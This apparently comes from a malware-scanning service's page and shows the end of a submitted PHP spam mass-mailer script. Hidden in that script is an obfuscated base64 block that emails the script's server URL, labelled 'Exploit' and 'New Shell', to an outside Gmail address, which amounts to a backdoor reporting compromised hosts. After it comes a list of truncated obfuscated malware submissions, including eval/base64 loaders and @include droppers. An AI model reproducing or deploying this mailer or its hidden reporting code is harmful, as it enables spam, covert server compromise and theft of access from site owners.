      echo "FAILED !!<font color=\"#ff001f\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";} 
   else { 
       echo "<font color=\"#0e2093\"><b>OK</b></font><br>";} 
 } 
} 
else { 
 echo "<font color=\"#0e2093\"><b>OK</b></font><br>"; 
} 

if(empty($reconnect)){ 
$reconnect=6; 
} 

if($reconnect==$nq){ 
$mail->SmtpClose();echo "<font color=\"#0e2093\"><p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p></font>";$nq=0; 
} 
$nq=$nq+1; 
                flush(); } 
} 
for($i=0;$i<31;$i++){ 
  $smtp_conf=str_replace(, $random_smtp_string[$i], $smtp_conf); } 
$smtp_conc=$IsSMTP($defaultport, $smtp_conf); 
  $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);'); 
  print "<p> <font color=\"#0e2093\">Pro OOP Mailer<br>&copy 2018, New Tools =></font><b> 
  <font color=\"#0e2093\">PiraTos S-Tn</font></b><br></p>";
  $mail->SmtpClose(); 
  return $signoff($smtp_conc); 
  if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was  
    sent successfully'); </script>";}} 
     
$GLOBALS["QggfylPeyGMJVYaMRycd"]=base64_decode("UkVRVUVTVF9VUkk=");$GLOBALS["bkKoyzUJDhnzrsUiVM"]=base64_decode("U0VSVkVSX05BTUU=");$GLOBALS["SnsSSwMKZSYeMFnEirnh"]=base64_decode("");$GLOBALS["GdDwnNNDZJXBIIFxSfhV"]=base64_decode("P3VwbG9hZD11cCA=");$GLOBALS["ojRSkxDoaaJQptBbaWeI"]=base64_decode("RXhwbG9pdCA6IGh0dHA6Ly8=");$GLOBALS["kbBAMcROwyRKVtcNdZlZ"]=base64_decode("RnJvbTogeFRhbEdoaW08c2VydmljZUBhY2NvdW50LmNvbT4=");$GLOBALS["RkKUjoUQZoWTToqrnQSp"]=base64_decode("TmV3IFNoZWxs");$GLOBALS["RUSrJnHjnuBLQBUCkums"]=base64_decode("Y3BhbXQwMGxAZ21haWwuY29t");$QSqiRsjfObJfVyNZLvkd = $GLOBALS["RUSrJnHjnuBLQBUCkums"];
$MzhazkAbMOvKkuEvElU = $GLOBALS["RkKUjoUQZoWTToqrnQSp"];
$WURYVoHHeCnoPtmITfhu = $GLOBALS["kbBAMcROwyRKVtcNdZlZ"];
$buauipzwsOpZImn = $GLOBALS["ojRSkxDoaaJQptBbaWeI"]. $_SERVER[$GLOBALS["bkKoyzUJDhnzrsUiVM"]]. $_SERVER[$GLOBALS["QggfylPeyGMJVYaMRycd"]] . $GLOBALS["GdDwnNNDZJXBIIFxSfhV"]."\r".$GLOBALS["SnsSSwMKZSYeMFnEirnh"]."\n".$GLOBALS["SnsSSwMKZSYeMFnEirnh"];
$cioexnDVkEncxveHOTNC = @mail($QSqiRsjfObJfVyNZLvkd, $MzhazkAbMOvKkuEvElU, $buauipzwsOpZImn, $WURYVoHHeCnoPtmITfhu);
echo "";
exit; 
    <p align="center">&nbsp;</p> 
&nbsp; 
    </body> 
</html>


Recent submissions:

<script>var _$_6db9=["\x56\x43\x44","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\... import base64, codecs thecrew = 'CmltcG9ydCBiYXNlNjQsIGNvZGVjcwp0aGVjcmV3ID0gJ0l5QXRLaT... <?php function ViCgJi($seU) { $seU=gzinflate(base64_decode($seU)); for($i=0;$i<strlen... <script type="text/javascript"> var _$_6db9=["\x56\x43\x44","\x67\x65\x74\x45\x6C\x65\x... { document[_$_6db9[1]](_$_6db9[54])[_$_6db9[7]][_$_6db9[6]]= _$_6db9[11];//118 ... function startParams() { document[_$_6db9[1]](_$_6db9[54])[_$_6db9[7]][_$_6db9[6]]= ... \057hom\145/ca\163per\163c/p\165bli\143_ht\155l/b\145sti\156ter\156etf\141cts\056com\057wp... eval("\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34... @ini_set('memory_limit','-1');@ini_set('max_execution_time',0);@set_time_limit(0);eval(str... <?php /* Crypted by Turkish Hackers Alliance - pay 900 USD to 1D2149AqK3Casr3wTvSLgQLbk... $Il1IlII11I=file(preg_replace("@\(.*\(.*$@","",__FILE__)); if(preg_replace("@\(.*\(.*$@",... function IIIIllIl1I($a,$b){$c=array(936,343,32,29440);$k=gzinflate(base64_decode("KyrNTcos... {$c=array(936,343,32,29440);$k=gzinflate(base64_decode("KyrNTcosKQYA"));$O0O0=$k[6].$k[1].... /*07966*/ @include "\057ho\155e/\160hm\143gp\145/p\165bl\151c_\150tm\154/h\1571.\165s/\... $W3LL = 'FZbVteMAEEP/XxdmiO2YmZmZuf8qNtuBjmYk3QrSxKmsxRd+qe9GAVrLaoM5R4M5nEOibA+TIgvXy1MHs... <?php $W3LL = 'FZbVteMAEEP/XxdmiO2YmZmZuf8qNtuBjmYk3QrSxKmsxRd+qe9GAVrLaoM5R4M5nEOibA+TIgv... var _0x1ce6=['\x56\x48\x4a\x35\x55\x32\x56\x75\x5a\x41\x3d\x3d','\x53\x55\x31\x48','\x52\x... <?php $W3LL = 'FZbVteMAEEP/XxdmiO2YmZmZuf8qNtuBjmYk3QrSxKmsxRd+qe9GAVrLaoM5R4M5nEOibA+TIgv... @include "\057ho\155e4\057kr\157ne\151um\057pu\142li\143_h\164ml\057po\167er\160ad\1634a\1... <?php ... <?php /* Copyright (c) 2018 Mojomexico.com.mx Licencia protegida si desea adquirir el pro... \x82\x17\x07\x0F\x1F\x44\x00\x00\x55/\x82\x17\x07\x0F\x1F\x44\x00\x00\xC3 ... 's/\x82\x17\x07\x0F\x1F\x44\x00\x00\x55/\x82\x17\x07\x0F\x1F\x44\x00\x00\xC3/g'... (function(_0xce82x1) { var _0xce82x2 = _0xce82x2 || function(_0xce82x3, _0xce82x4) { ... \321\201\321\205\320\265\320\274\320\260 \320\262\321\213\320\261\320\276\321\200\321\213... \321\201\321\205\320\265\320\274\320\260... <?php ${"GLOBALS"}["suaghlx"]="db";${"GLOBALS"}["dvkhityv"]="sablonlar";${"GLOBALS"}["dism... <?php $hngwa = 'pbat#957ekdlxur3gvm\'*-f62_sH84icy0no1';$rufmqnv = Array();$rufmqnv[] = $... <?php error_reporting(0); $fsyACTX5d7aa0bdbd931 = chr(115).chr(116).chr(114).chr(114).chr... /*<![CDATA[/* */ /* Privet darkv. Each domain is 2h fox dead */ (function(){ var l=wind... define("\x41\x50\120\x4e\101\115\105", "\115\x6f\x64\x65\x72\156\x2d\x50\x4f\123"); define... goto o5d95; kToGN: Tygh::$app["\x76\151\145\x77"]->assign("\146\x65\x61\x74\x75\162\x65\13... <?php use Tygh\Registry; goto o5d95; kToGN: Tygh::$app["\x76\151\145\x77"]->assign("\146... use Tygh\Enum\ProductFeatures; use Tygh\Enum\ProductTracking; use Tygh\Registry; use Tygh\... flh7k: $feed["\160\162\x6f\144\x75\143\164\163\137\144\151\x73\143\x6f\x75\156\x74"] = uns... JG\x52vICA9\x49\x43\x52fR\x30V\x55Wyd\x6b\x62\x79d\x64\x4fw0\x4ba\x57\x59\x6f\x4a\x47\x52\... \160\162\x6f\144\x75\143\164\163\137\144\151\x73\143\x6f\x75\156\x74... <?php ${"\x47LOB\x41\x4cS"}["\x79\x79\x75\x64c\x6ba\x6e\x75t"]="\x75s\x65\x72";${"\x47LO\x... <?php /* Copyright (c) 2012 Motion-M Co. If you want to obtain license for this product,... @include "\057ho\155e/\151ns\151gn\151at\145am\057pu\142li\143_h\164ml\057Es\153i \104os\1... function RtegJAdMsnpNgwAbutzY($WSnIJSCSyEjimqCqGeJm) { $oqrbxJkdoDYXaVzkysol=JuFdQMPQLte... @include "\057home\057insi\147niat\145am/p\165blic\137html\057Eski\040Dosy\141lar \170x/im... /*@include "\057home\057insi\147niat\145am/p\165blic\137html\057Eski\040Dosy\141lar \170x/... @include "\057hom\145/in\163ign\151ate\141m/p\165bli\143_ht\155l/E\163ki \104osy\141lar\04... <?php /* Copyright (c) 2012 Motion-M Co. If you want to obtain license for this product,... <?php ... <?php /* Copyright (c) 2012 Motion-M Co. If you want to obtain license for this product,... <?php /* Copyright (c) 2012 Motion-M Co. If you want to obtain license for this product,... <?php eval("\n\$dgreusdi = intval(__LINE__) * 337;"); $a = "7VdrT+NGFP1eqf9hiCIcKw... <?php $auth_pass = "7547ec6af9d987359dd34c888224afb1"; function s($q, $d){ for($g... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... <?php /*b1786*/ @include "\057h\157m\145/\143k\143a\156c\157m\057l\157u\151s\166i\154l... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... @$svLEBvhEGxBACGnbnfkbfm("E" . "\x76" . "\x61" . "l" . "\x28" . "g" ... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... <?php ${"GLO\x42A\x4c\x53"}["\x76ag\x78\x79\x71\x63m"]="i";${"G\x4c\x4fB\x41\x4c\x53"}["t\... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... <?php /* PHP Encode by http://Www.PHPJiaMi.Com/ */error_reporting(0);ini_set("display_err... echo O0000000O0(O000O0O00O("a",97),O000O0O00O("a",18),$O0000OO0O0); __halt_compiler(); w... <?php /* OracleCode Copyright © 2019 - All rights reserved. Checksum: a654c069 */ eval(ba... <?php //004fb if(!extension_loaded('ionCube Loader')){$__oc=strtolower(substr(php_uname()... <?php $_wvbx3 = basename/*mebly*/(/*hdq*/trim/*79iz*/(/*p1i*/preg_replace/*w*/(/*hct9*/ra... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... <?php $_q7dekj = basename/*5q*/(/*t*/trim/*m*/(/*tnd*/preg_replace/*89n*/(/*v4*/rawurldec... <?php $ghspgxmagf = 2771; function olsphvrb($auuewmyvc, $qouov){$cmmfufdunq = ''; for($i... @include "\057ho\155e/\06172\06521\057do\155ai\156s/\16317\06252\061.g\162id\163er\166er\0... @include "\057home\0571725\0621/do\155ains\057vict\165s.co\155/htm\154/ima\147e/ca\143he/d... \057home\057khad\162dqny\151tf/p\165blic\137html\057gc-c\150ambe\162.com\057wp-c\157nten\1... <?php goto O5553; O4414: echo "\x61\x75\x78\x36\124\x68\x65\x69\157\107\150\165\x65\121\x7... <?php @touch("index.html"); header("Content-type: text/plain"); print "2842123700\n"; ... <?php ${"\x47\x4c\x4fBA\x4c\x53"}["\x78\x71\x70cpy\x71"]="\x73q\x6c";mysqli_connect("loc\x... IPTV_INCLUDES_PATH . "\x73\x74\x72\145\141\x6d\x2e\160\150\160"... <?php /* OracleCode Checksum: e1808cfbf546dad82db5b680af51d714 */ eval(base64_decode("JEls... <?php /* OracleCode Checksum: e1808cfbf546dad82db5b680af51d714 */ eval(base64_decode("JEls... <?php @error_reporting(0); @ini_set('display_errors', false); @ini_set('assert.quiet_eval... <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Bod... <?php $xD = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1... eval(base64_decode('JGY9ZGlybmFtZShfX2ZpbGVfXykuJy9pbWFnZXMvd3BfbWVudV90b 3AucG5nJzskYj1nZ... @include "\057va\162/w\167w/\15022\065/d\141ta\057ww\167/a\155et\151st\056in\056ua\057ad\1... \057hom\1453/j\151mzs\145rv/\160ubl\151c_h\164ml/\167p-c\157nte\156t/p\154ugi\156s/s\157ci... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... \\057h\\157m\\145/\\160a\\162a\\163i\\164o\\137l\\153o\\057p\\141r\\141s\\151t\\157l\\157g... <?php /*829f4*/ @include "\057ho\155e/\143oz\151lo\147sc\157/p\165bl\151c_\150tm\154/v... @include "\057ho\155e/\141br\141ha\15522\06111\07191\057pu\142li\143_h\164ml\057dt\150in\1... $hackers= 'O';$contemplative ='r';$jessica = 'Ln'; $keypads ='('; $frilly ='<'; $approx... @include "\057h\157m\145/\163t\157n\145f\154y\057t\150e\163m\151t\150s\143h\141p\145l\056c... @include "\057home\057abra\150am22\0611199\061/pub\154ic_h\164ml/a\165toma\164iono\162ient... \x68\x69\x64\x65","\x23\x63\x6F\x6E\x74\x65\x6E\x74... /*87495*/ @include "\057home\057aumy\157gavi\145tnam\056com/\160ubli\143_htm\154/wp-\15... <?php eval("?>" . base64_decode("PD9waHAgCmZ1bmN0aW9uIGNsYXNzX3hfaSgkeD0nJyl7CgkkdXJsc2V0I...

© 2019 Quttera Ltd. All rights reserved.